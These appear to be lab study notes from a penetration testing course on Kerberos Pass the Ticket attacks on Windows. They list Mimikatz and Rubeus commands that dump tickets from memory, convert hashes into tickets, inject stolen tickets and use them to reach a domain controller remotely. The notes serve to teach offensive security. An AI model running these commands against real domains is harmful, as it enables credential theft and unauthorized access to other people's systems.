Pass the Ticket (PtT) (Windows)

Kerberos is a ticket-based authentication protocol
  • TGT (Ticket Granting Ticket): Allows you to request additional tickets without exposing your password again.
  • TGS (Ticket Granting Service): A service-specific ticket (MSSQL, CIFS, LDAP, etc.).

Pass the Ticket (PtT)

Reuse Kerberos tickets (TGT or TGS) instead of the password (or NTLM hash). If we obtain a ticket (by exporting it with Mimikatz or Rubeus), we can inject it into our session to impersonate that user.

Obtaining Tickets on Windows

Mimikatz

txt
privilege::debug
sekurlsa::tickets /export
Saves tickets (.kirbi) in the current directory.

Rubeus

txt
Rubeus.exe dump /nowrap
Displays tickets in Base64. Requires elevated privileges.

Pass the Key (OverPass the Hash)

Convert the Kerberos hash (RC4-HMAC, AES256...) into a TGT.
txt
# Mimikatz
sekurlsa::pth /domain:... /user:... /ntlm:<hash>
# Rubeus
asktgt /domain:... /user:... /aes256:<hash> /ptt

Importing a Ticket = Pass the Ticket (PtT)

txt
# Mimikatz
kerberos::ptt "C:\ruta\ticket.kirbi"
# Rubeus
Rubeus.exe ptt /ticket:archivo.kirbi
Rubeus.exe ptt /ticket:<Base64>
Once injected, we can browse resources (dir \\DC01\c$) without explicit credentials, use PowerShell Remoting, etc.

PowerShell Remoting with PtT

powershell
Enter-PSSession -ComputerName <Host>
  • kerberos::ptt "...\john@krbtgt-HTB.kirbi"
  • Enter-PSSession -ComputerName DC01
  • whoami → inlanefreight\john
Requires permissions for PS Remoting (Remote Management Users or local admin).

Sacrificial Process with Rubeus

txt
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
Creates a process (logon type 9) without real credentials; you then inject a TGT with asktgt /ptt without affecting your main session.